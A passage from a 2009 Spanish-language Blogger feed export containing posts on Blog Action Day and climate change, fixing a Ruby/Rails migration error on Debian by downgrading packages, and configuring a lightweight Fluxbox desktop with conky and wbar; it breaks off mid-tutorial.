comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/6681423028616568400'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/6681423028616568400'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/2009/10/cairo-pywebkit-y-pygtk-semana-de.html' title='Cairo, PyWebKit y PyGTK: Semana de Pruebas'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_oLUxtmo5LIU/SuD_FnQvUBI/AAAAAAAAAQM/WL5MDjee0n0/s72-c/cpumeter.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-6418358982355031613</id><published>2009-10-15T17:29:00.000-07:00</published><updated>2009-10-15T17:48:22.737-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Otros'/><title type='text'>Blog Action Day 2009 - Cambio Climático</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;Hoy es un día especial. Es un día en el que los blogeros de todo el mundo nos unimos a una sola voz por un fin común. Hoy 15 de Octubre de 2009 nos unimos para enfrentar uno de los problemas más urgentes que ataca a nuestro planeta... &lt;strong&gt;El cambio climático&lt;/strong&gt;. Es nuestra oportunidad de llegar a cientos de miles de personas y cambiar el curso de la historia. Escribe en tu blog sobre el cambio climático. Cualquier aporte es bueno. Eso es el &lt;a href="http://www.blogactionday.org/"&gt;Blog Action Day 2009&lt;/a&gt; y yo estoy dentro. Tú... ¿Qué esperas?&lt;br /&gt;&lt;br /&gt;Cierro con una premisa muy conocida en el mundo del Software Libre y un video:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;No es lo mismo adaptarse a los cambios que provocarlos&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/3CnIJ19EVMo&amp;color1=0xb1b1b1&amp;color2=0xcfcfcf&amp;hl=es&amp;feature=player_embedded&amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowScriptAccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/3CnIJ19EVMo&amp;color1=0xb1b1b1&amp;color2=0xcfcfcf&amp;hl=es&amp;feature=player_embedded&amp;fs=1" type="application/x-shockwave-flash" allowfullscreen="true" allowScriptAccess="always" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-6418358982355031613?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/6418358982355031613/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=6418358982355031613&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/6418358982355031613'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/6418358982355031613'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/2009/10/blog-action-day-2009-cambio-climatico.html' title='Blog Action Day 2009 - Cambio Climático'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-4593911918047567744</id><published>2009-10-05T19:03:00.000-07:00</published><updated>2009-10-05T19:03:50.145-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Ruby on Rails'/><category scheme='http://www.blogger.com/atom/ns#' term='Ruby'/><title type='text'>Error con Ruby 1.8 y Rails 1.2.6 en Debian Squeeze</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;Estaba yo una tarde de lo más tranquilo, programando mi sistema de compras de café verde mientras tarareaba una canciónde Bloodbath xD. En una de esas me dispongo a correr las migraciones de mi proyecto para actualizar la base de datos y para mi sorpresa ¡la migración falla!. El error (nada explícito) a continuación:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;$ rake db:migrate&lt;br /&gt;(in /home/satanas/proyectos/cvacafe/sicca)&lt;br /&gt;rake aborted!&lt;br /&gt;{:root=&gt;"(as the the label for a named route) will become a shortcut for map.connect '', so find another name"} is not a symbol&lt;br /&gt;&lt;br /&gt;(See full trace by running task with --trace)&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Al ver la verbosidad del mensaje invoco el comando pero con la opción --trace tal como me lo sugiere la advertencia y obtengo esto:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;$ rake db:migrate --trace&lt;br /&gt;(in /home/satanas/proyectos/cvacafe/sicca)&lt;br /&gt;** Invoke db:migrate (first_time)&lt;br /&gt;** Invoke environment (first_time)&lt;br /&gt;** Execute environment&lt;br /&gt;rake aborted!&lt;br /&gt;{:root=&gt;"(as the the label for a named route) will become a shortcut for map.connect '', so find another name"} is not a symbol&lt;br /&gt;/usr/lib/ruby/1.8/deprecated.rb:176:in `instance_method'&lt;br /&gt;/usr/lib/ruby/1.8/deprecated.rb:176:in `deprecate'&lt;br /&gt;/usr/lib/ruby/gems/1.8/gems/actionpack-1.13.6/lib/action_controller/routing.rb:994&lt;br /&gt;/usr/local/lib/site_ruby/1.8/rubygems/custom_require.rb:27:in `gem_original_require'&lt;br /&gt;/usr/local/lib/site_ruby/1.8/rubygems/custom_require.rb:27:in `require'&lt;br /&gt;/usr/lib/ruby/gems/1.8/gems/activesupport-1.4.4/lib/active_support/dependencies.rb:495:in `require'&lt;br /&gt;/usr/lib/ruby/gems/1.8/gems/activesupport-1.4.4/lib/active_support/dependencies.rb:342:in `new_constants_in'&lt;br /&gt;/usr/lib/ruby/gems/1.8/gems/activesupport-1.4.4/lib/active_support/dependencies.rb:495:in `require'&lt;br /&gt;/usr/lib/ruby/gems/1.8/gems/actionpack-1.13.6/lib/action_controller/base.rb:4&lt;br /&gt;/usr/local/lib/site_ruby/1.8/rubygems/custom_require.rb:27:in `gem_original_require'&lt;br /&gt;/usr/local/lib/site_ruby/1.8/rubygems/custom_require.rb:27:in `require'&lt;br /&gt;/usr/lib/ruby/gems/1.8/gems/activesupport-1.4.4/lib/active_support/dependencies.rb:495:in `require'&lt;br /&gt;/usr/lib/ruby/gems/1.8/gems/activesupport-1.4.4/lib/active_support/dependencies.rb:342:in `new_constants_in'&lt;br /&gt;/usr/lib/ruby/gems/1.8/gems/activesupport-1.4.4/lib/active_support/dependencies.rb:495:in `require'&lt;br /&gt;/usr/lib/ruby/gems/1.8/gems/actionpack-1.13.6/lib/action_controller.rb:37&lt;br /&gt;/usr/local/lib/site_ruby/1.8/rubygems/custom_require.rb:27:in `gem_original_require'&lt;br /&gt;/usr/local/lib/site_ruby/1.8/rubygems/custom_require.rb:27:in `require'&lt;br /&gt;/usr/lib/ruby/gems/1.8/gems/activesupport-1.4.4/lib/active_support/dependencies.rb:495:in `require'&lt;br /&gt;/usr/lib/ruby/gems/1.8/gems/activesupport-1.4.4/lib/active_support/dependencies.rb:342:in `new_constants_in'&lt;br /&gt;/usr/lib/ruby/gems/1.8/gems/activesupport-1.4.4/lib/active_support/dependencies.rb:495:in `require'&lt;br /&gt;/usr/lib/ruby/gems/1.8/gems/rails-1.2.6/lib/initializer.rb:166:in `require_frameworks'&lt;br /&gt;/usr/lib/ruby/gems/1.8/gems/rails-1.2.6/lib/initializer.rb:166:in `each'&lt;br /&gt;/usr/lib/ruby/gems/1.8/gems/rails-1.2.6/lib/initializer.rb:166:in `require_frameworks'&lt;br /&gt;/usr/lib/ruby/gems/1.8/gems/rails-1.2.6/lib/initializer.rb:87:in `process'&lt;br /&gt;/usr/lib/ruby/gems/1.8/gems/rails-1.2.6/lib/initializer.rb:47:in `send'&lt;br /&gt;/usr/lib/ruby/gems/1.8/gems/rails-1.2.6/lib/initializer.rb:47:in `run'&lt;br /&gt;/home/satanas/proyectos/cvacafe/sicca/config/../config/environment.rb:13&lt;br /&gt;/usr/local/lib/site_ruby/1.8/rubygems/custom_require.rb:27:in `gem_original_require'&lt;br /&gt;/usr/local/lib/site_ruby/1.8/rubygems/custom_require.rb:27:in `require'&lt;br /&gt;/usr/lib/ruby/gems/1.8/gems/activesupport-1.4.4/lib/active_support/dependencies.rb:495:in `require'&lt;br /&gt;/usr/lib/ruby/gems/1.8/gems/activesupport-1.4.4/lib/active_support/dependencies.rb:342:in `new_constants_in'&lt;br /&gt;/usr/lib/ruby/gems/1.8/gems/activesupport-1.4.4/lib/active_support/dependencies.rb:495:in `require'&lt;br /&gt;/usr/lib/ruby/gems/1.8/gems/rails-1.2.6/lib/tasks/misc.rake:3&lt;br /&gt;/usr/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake.rb:617:in `call'&lt;br /&gt;/usr/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake.rb:617:in `execute'&lt;br /&gt;/usr/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake.rb:612:in `each'&lt;br /&gt;/usr/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake.rb:612:in `execute'&lt;br /&gt;/usr/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake.rb:578:in `invoke_with_call_chain'&lt;br /&gt;/usr/lib/ruby/1.8/monitor.rb:242:in `synchronize'&lt;br /&gt;/usr/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake.rb:571:in `invoke_with_call_chain'&lt;br /&gt;/usr/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake.rb:588:in `invoke_prerequisites'&lt;br /&gt;/usr/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake.rb:585:in `each'&lt;br /&gt;/usr/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake.rb:585:in `invoke_prerequisites'&lt;br /&gt;/usr/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake.rb:577:in `invoke_with_call_chain'&lt;br /&gt;/usr/lib/ruby/1.8/monitor.rb:242:in `synchronize'&lt;br /&gt;/usr/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake.rb:571:in `invoke_with_call_chain'&lt;br /&gt;/usr/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake.rb:564:in `invoke'&lt;br /&gt;/usr/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake.rb:2019:in `invoke_task'&lt;br /&gt;/usr/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake.rb:1997:in `top_level'&lt;br /&gt;/usr/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake.rb:1997:in `each'&lt;br /&gt;/usr/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake.rb:1997:in `top_level'&lt;br /&gt;/usr/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake.rb:2036:in `standard_exception_handling'&lt;br /&gt;/usr/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake.rb:1991:in `top_level'&lt;br /&gt;/usr/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake.rb:1970:in `run'&lt;br /&gt;/usr/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake.rb:2036:in `standard_exception_handling'&lt;br /&gt;/usr/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake.rb:1967:in `run'&lt;br /&gt;/usr/lib/ruby/gems/1.8/gems/rake-0.8.3/bin/rake:31&lt;br /&gt;/usr/bin/rake:19:in `load'&lt;br /&gt;/usr/bin/rake:19&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Pues al igual que ustedes, quedé un poco chino con el error (a no ser que alguno de ustedes sea un Ruby developer :P), pero me puse a revisar unos archivos claves: &lt;strong&gt;/usr/lib/ruby/1.8/deprecated.rb&lt;/strong&gt; en la línea 176 y &lt;strong&gt;/usr/lib/ruby/gems/1.8/gems/actionpack-1.13.6/lib/action_controller/routing.rb&lt;/strong&gt; en la línea 994 (béndito sea el Software Libre xD) y descubrí que el problema era con la llamada a una tal función &lt;strong&gt;deprecate&lt;/strong&gt; que esperaba un símbolo y no sé que diablos estaba recibiendo.&lt;br /&gt;&lt;br /&gt;Le pregunté a un amigo (que programa conmigo el mismo sistema y no tenía el problema) por sus versiones de Ruby, Rails y las gemas. Teníamos todas las versiones exactamente iguales excepto la de Ruby; yo tenía la 1.8.7.174 y él tenía la 1.8.7.72. &lt;br /&gt;&lt;br /&gt;Sí, aunque ustedes no lo crean yo aún uso Rails 1.2.6 con Ruby 1.8 y resulta que Debian Squeeze (testing al momento de escribir esto) me actualizó el paquete de Ruby estropeando la compatibilidad de Ruby y Rails. Sí, también sé que debo migrar a Rails 2 ¡¡¡cuanto antes!!!&lt;br /&gt;&lt;br /&gt;Bueno la cuestión la solucioné de una manera relativamente fácil, purge mi instalación de ruby:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;# aptitude purge ruby ruby1.8-dev ri ri1.8 rdoc rdoc1.8 irb irb1.8 ruby1.8-examples libreadline-ruby libopenssl-ruby libdbi-ruby libdbd-mysql-ruby libdbd-pg-ruby libdbd-odbc-ruby libdbd-sqlite3-ruby libpgsql-ruby libmysql-ruby&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Cambié mis repositorios a los de Debian Lenny (estable para la fecha) (&lt;strong&gt;/etc/apt/sources.list&lt;/strong&gt;):&lt;br /&gt;&lt;br /&gt;&lt;code&gt;deb http://ftp.us.debian.org/debian lenny main contrib non-free&lt;br /&gt;deb-src http://ftp.us.debian.org/debian lenny main contrib non-free&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Actualicé la lista de paquetes:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;# aptitude update&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Instalé nuevamente Ruby (pero la versión de Lenny):&lt;br /&gt;&lt;br /&gt;&lt;code&gt;# aptitude install ruby ruby1.8-dev ri ri1.8 rdoc rdoc1.8 irb irb1.8 ruby1.8-examples libreadline-ruby libopenssl-ruby libdbi-ruby libdbd-mysql-ruby libdbd-pg-ruby libdbd-odbc-ruby libdbd-sqlite3-ruby libpgsql-ruby libmysql-ruby&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Apliqué retención a todos los paquetes anteriores (para que en una futura actualización no pase lo mismo):&lt;br /&gt;&lt;br /&gt;&lt;code&gt;# aptitude hold ruby ruby1.8-dev ri ri1.8 rdoc rdoc1.8 irb irb1.8 ruby1.8-examples libreadline-ruby libopenssl-ruby libdbi-ruby libdbd-mysql-ruby libdbd-pg-ruby libdbd-odbc-ruby libdbd-sqlite3-ruby libpgsql-ruby libmysql-ruby&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Y volví a poner mis repos de Squeeze:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;deb http://ftp.us.debian.org/debian testing main contrib non-free&lt;br /&gt;deb-src http://ftp.us.debian.org/debian testing main contrib non-free&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Ahora tengo mi obsoleto y anticuado Ruby 1.8.7.72 pero que me funciona de maravillas con Rails 1.2.6 xD&lt;br /&gt;&lt;br /&gt;Cambio y fuera&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-4593911918047567744?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/4593911918047567744/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=4593911918047567744&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/4593911918047567744'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/4593911918047567744'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/2009/10/error-con-ruby-18-y-rails-126-en-debian.html' title='Error con Ruby 1.8 y Rails 1.2.6 en Debian Squeeze'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-1863687087531023978</id><published>2009-09-19T17:55:00.000-07:00</published><updated>2009-09-19T19:44:04.358-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Configuraciones'/><category scheme='http://www.blogger.com/atom/ns#' term='Escritorios'/><category scheme='http://www.blogger.com/atom/ns#' term='GNU/Linux'/><title type='text'>Fluxbox con esteroides en Debian</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size: 85%;"&gt;&lt;a href="http://www.fluxbox.org/"&gt;Fluxbox&lt;/a&gt; siempre me había parecido un gestor de ventanas genial, pero consideraba que aún le faltaban algunas cosas para ser un entorno de escritorio "serio", capáz de darle competencia a GNOME... Hasta hoy.&lt;br /&gt;&lt;br /&gt;Me puse a experimentar con la mini Acer y dije... "¿Por qué no? Vamos a meterle Fluxbox a ver que tal corre" y pues, dejénme decirle que los resultados que obtuve son simplemente impresionantes. &lt;br /&gt;&lt;br /&gt;Al momento de hacer esto lo que tenía en mente era lograr un entorno de escritorio 100% funcional (tanto o más que GNOME) pero manteniendo siempre el bajo consumo de recursos y pensando siempre en una frase que leí una vez (si mal no recuerdo en la descripción del paquete Fluxbox para Debian):&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;Si quiere que su escritorio se parezca a Windows entonces no use Fluxbox&lt;/blockquote&gt;&lt;br /&gt;Primero vamos a instalar los paquetes básicos:&lt;br /&gt;&lt;code&gt;# aptitude install fluxbox conky eterm pcmanfm gqview audacious wbar&lt;/code&gt;&lt;br /&gt;Explico para qué cada cosa:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;fluxbox&lt;/b&gt;: Creo que es obvio ¿no? El gestor de ventanas&lt;/li&gt;&lt;li&gt;&lt;b&gt;conky&lt;/b&gt;: Un monitor del sistema bien ligero y configurable&lt;/li&gt;&lt;li&gt;&lt;b&gt;eterm&lt;/b&gt;: Un emulador de terminal ligero (usado en Enlightenment) o xterm para los más rudos&lt;/li&gt;&lt;li&gt;&lt;b&gt;pcmanfm&lt;/b&gt;: Un explorador de archivos rápido y liviano. Para no explicar mucho diré que es un Nautilus a dieta xD. También podemos instalar thunar, el explorador de archivos de XFCE&lt;/li&gt;&lt;li&gt;&lt;b&gt;gqview&lt;/b&gt;: Un visor de imágenes ligero. También podemos usar eog (el visor de imágenes de GNOME)&lt;/li&gt;&lt;li&gt;&lt;b&gt;audacious&lt;/b&gt;: Un reproductor de música super liviano y parecido a Winamp (para los nostálgicos :'( )&lt;/li&gt;&lt;li&gt;&lt;b&gt;wbar&lt;/b&gt;: Un dock que imita la famosa barra de Mac OS X. Útil para usarla como lanzador de aplicaciones&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Nuevamente resalto que la selección de las aplicaciones se hizo en base a la premisa de "aplicaciones ligeras y de bajo consumo", sin embargo podemos instalar cualquier otra aplicación que nos guste: pidgin, inkscape, deluge, etc, etc, etc.&lt;br /&gt;&lt;br /&gt;¡OJO! Si no tenemos instalado GNOME necesitaremos instalar unos paquetes adicionales; pero seré sincero... NO he hecho la prueba desde una instalación sin GNOME. Me imagino que instalando los paquetes (y sus dependencias) es más que suficiente pero no puedo asegurar. Si no funciona así, griten y yo intentaré probar para actualizar el post con el procedimiento correcto (o si prueban ustedes y me dicen, mejor xD). Entonces, si no tenemos problemas de espacio en el disco recomiendo instalar:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;# aptitude install gnome-desktop-environment&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;O si son más aventureros y desean experimentar, solo instalamos:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;# aptitude install gnome-power-manager gnome-settings-daemon network-manager&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Bueno, vamos ahora con la parte divertida. &lt;br /&gt;&lt;br /&gt;&lt;h2&gt;Configuremos Conky&lt;/h2&gt;&lt;a href="http://conky.sourceforge.net/"&gt;Conky&lt;/a&gt; como dije anteriormente es un monitor de sistema muy liviano. Allí podemos monitorear cientos de parametros de nuestro equipo y se ve bastante bien con Fluxbox :)&lt;br /&gt;&lt;br /&gt;Lo primero que debemos hacer es habilitar el soporte de la extensión Double Buffer (DBE) del servidor X para evitar el parpadeo, ya que sin ésta no logrará actualizar la pantalla con suficiente rapidez. Para ello, vamos al archivo &lt;b&gt;/etc/X11/xorg.conf&lt;/b&gt; y agregamos una línea con Load "dbe" en la sección Section "Module". Debería verse algo así:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;code&gt;Section "Module"&lt;br /&gt;    &lt;b&gt;Load           "dbe"&lt;/b&gt;&lt;br /&gt;    Load           "extmod"&lt;br /&gt;    Load           "type1"&lt;br /&gt;    Load           "freetype"&lt;br /&gt;    Load           "glx"&lt;br /&gt;EndSection&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Luego copiamos el archivo de configuración de ejemplo que viene con el Conky a nuestra carpeta personal:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;$ cp /etc/conky/conkyrc.conf ~/.conkyrc&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;y lo abrimos con nuestro editor de texto favorito. Se darán cuenta que el archivo está dividido en dos partes. La primera contiene las opciones de configuración del programa (alteran su comportamiento). La segunda define las variables, el texto, y los gráficos que se mostrarán en pantalla. &lt;br /&gt;&lt;br /&gt;La cantidad de variables y opciones que se pueden manejar son muchísimas, así que dejo la lista completa de &lt;a href="http://conky.sourceforge.net/config_settings.html"&gt;opciones para configuración&lt;/a&gt; y de &lt;a href="http://conky.sourceforge.net/variables.html"&gt;variables a monitorear&lt;/a&gt;. Si eso no es suficiente, &lt;a href="http://conky.sourceforge.net/screenshots.html"&gt;aquí&lt;/a&gt; pueden ver unos cuantos screenshots con sus respectivos archivos de configuración para que echen a volar su imaginación y además les dejo mi archivo de configuración (hoy me siento benevolénte :P)&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;code&gt;# Conky, a system monitor, based on torsmo&lt;br /&gt;#&lt;br /&gt;&lt;br /&gt;alignment top_right&lt;br /&gt;background no&lt;br /&gt;border_width 1&lt;br /&gt;cpu_avg_samples 2&lt;br /&gt;default_color white&lt;br /&gt;default_outline_color white&lt;br /&gt;default_shade_color white&lt;br /&gt;draw_borders no&lt;br /&gt;draw_graph_borders yes&lt;br /&gt;draw_outline no&lt;br /&gt;draw_shades no&lt;br /&gt;use_xft yes&lt;br /&gt;xftfont DejaVu Sans Mono:size=10&lt;br /&gt;gap_x 5&lt;br /&gt;gap_y 60&lt;br /&gt;minimum_size 5 5&lt;br /&gt;maximum_width 200&lt;br /&gt;net_avg_samples 2&lt;br /&gt;no_buffers yes&lt;br /&gt;out_to_console no&lt;br /&gt;out_to_stderr no&lt;br /&gt;own_window no&lt;br /&gt;own_window_class Conky&lt;br /&gt;own_window_type desktop&lt;br /&gt;stippled_borders 0&lt;br /&gt;update_interval 1.0&lt;br /&gt;uppercase no&lt;br /&gt;use_spacer none&lt;br /&gt;show_graph_scale no&lt;br /&gt;show_graph_range no&lt;br /&gt;&lt;br /&gt;TEXT&lt;br /&gt;$nodename # $sysname $kernel on $machine&lt;br /&gt;$hr&lt;br /&gt;${color slate grey}${time %a, }${color }${time %d %b %G}&lt;br /&gt;${color grey}Uptime:$color $uptime_short&lt;br /&gt;${color slate grey}Kernel: $kernel&lt;br /&gt;${color black}CPU:&lt;br /&gt;$color ${cpu cpu0}% ${cpubar cpu0 4}&lt;br /&gt;$color ${cpu cpu1}% ${cpubar cpu1 4}&lt;br /&gt;&lt;br /&gt;${color grey}RAM:$color $mem / $memmax&lt;br /&gt;$color ${memperc}% ${membar 4}&lt;br /&gt;${color grey}Swap:$color $swap / $swapmax&lt;br /&gt;$color ${swapperc}% ${swapbar 4}&lt;br /&gt;&lt;br /&gt;${color grey}Processes:$color $processes  ${color grey}Running:$color $running_processes&lt;br /&gt;$hr&lt;br /&gt;${color grey}File systems:&lt;br /&gt; / $color${fs_used /}/${fs_size /} &lt;br /&gt;${fs_bar 6 /}&lt;br /&gt;${color grey}Networking:&lt;br /&gt;Up:$color ${upspeed eth0} ${color grey} - Down:$color ${downspeed eth0}&lt;br /&gt;$hr&lt;br /&gt;#${color grey}Name              PID   CPU%   MEM%&lt;br /&gt;#${color lightgrey} ${top name 1} ${top pid 1} ${top cpu 1} ${top mem 1}&lt;br /&gt;#${color lightgrey} ${top name 2} ${top pid 2} ${top cpu 2} ${top mem 2}&lt;br /&gt;#${color lightgrey} ${top name 3} ${top pid 3} ${top cpu 3} ${top mem 3}&lt;br /&gt;#${color lightgrey} ${top name 4} ${top pid 4} ${top cpu 4} ${top mem 4}&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;h2&gt;Configuremos Wbar&lt;/h2&gt;Wbar es un lanzador de aplicaciones que emula algunas características de la barra de Mac OS X. Es altamente configurable y la más decente que he visto hasta ahora... ¡Toma eso Gnome-Do!&lt;br /&gt;&lt;br /&gt;Al igual que Conky trae un archivo de configuración de ejemplo y solo debemos copiarlo a nuestra carpeta personal con el nombre &lt;b&gt;.wbar&lt;/b&gt;:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;$ cp /usr/share/wbar/dot.wbar ~/.wbar&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;El archivo define cada uno de los lanzadores de la barra tiene el siguiente formato:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;i: /ruta/del/icono&lt;br /&gt;c: comando_a_ejecutar&lt;br /&gt;t: Título del lanzador&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;La primera entrada corresponde a la imagen de fondo de la barra y no debe llevar comando.&lt;br /&gt;&lt;br /&gt;Recomiendo hacer una selección de los iconos que desea para cada lanzador y colocarlos en una carpeta. A continuación imprimo mi archivo de configuración de lanzadores (en mi caso hice la selección de los iconos y los coloque en una carpeta llamada &lt;b&gt;personal&lt;/b&gt; en &lt;b&gt;/usr/share/wbar/iconpack/&lt;/b&gt;:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;code&gt;i: /usr/share/wbar/iconpack/wbar.osx/osxbarback.png&lt;br /&gt;c:&lt;br /&gt;t: /usr/share/wbar/iconpack/wbar.osx/font/16&lt;br /&gt;&lt;br /&gt;i: /usr/share/wbar/iconpack/personal/gnome-fs-home.png&lt;br /&gt;c: pcmanfm&lt;br /&gt;t: Explorador de archivos&lt;br /&gt;&lt;br /&gt;i: /usr/share/wbar/iconpack/personal/mozicon50.xpm&lt;br /&gt;c: firefox&lt;br /&gt;t: Firefox&lt;br /&gt;&lt;br /&gt;i: /usr/share/wbar/iconpack/personal/gnome-terminal.png&lt;br /&gt;c: xterm&lt;br /&gt;t: Terminal&lt;br /&gt;&lt;br /&gt;i: /usr/share/wbar/iconpack/personal/pidgin-menu.xpm&lt;br /&gt;c: pidgin&lt;br /&gt;t: Pidgin&lt;br /&gt;&lt;br /&gt;i: /usr/share/wbar/iconpack/personal/text-editor.png&lt;br /&gt;c: gedit&lt;br /&gt;t: Gedit&lt;br /&gt;&lt;br /&gt;i: /usr/share/wbar/iconpack/personal/audacious-32.xpm&lt;br /&gt;c: audacious&lt;br /&gt;t: Audacious&lt;br /&gt;&lt;br /&gt;i: /usr/share/wbar/iconpack/personal/xchat.png&lt;br /&gt;c: xchat&lt;br /&gt;t: XChat&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;La otra parte interesante del wbar son los argumentos que se le pasan al momento de ejecutarlo. A continuación la lista de opciones:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;code&gt;Opciones&lt;br /&gt; -config: ruta del archivo de configuración (ej: $HOME/.wbar)&lt;br /&gt; -above-desk: para ejecutarlo encima del escritorio&lt;br /&gt; -idist i: distancia entre los iconos (ej: 1)&lt;br /&gt; -isize i: tamaño de los iconos (ej: 32)&lt;br /&gt; -zoomf i: factor de zoom (ej: 1.8)&lt;br /&gt; -jumpf i: factor de salto (1.0 - 0.0)&lt;br /&gt; -pos|p: posición (top | bottom | left | right | center)&lt;br /&gt; -dblclk i: milisegundos para el double click (0: un solo clic)&lt;br /&gt; -bpress: los iconos parecen presionados al darle clic&lt;br /&gt; -vbar: barra vertical&lt;br /&gt; -balfa i: transparencia de la barra (0-100)&lt;br /&gt; -falfa i: transparencia de la barra cuando no tiene foco (0-100)&lt;br /&gt; -nofont: deshabilita el dibujado de las fuentes&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Los argumentos que le paso al wbar los pueden ver en el archivo startup de 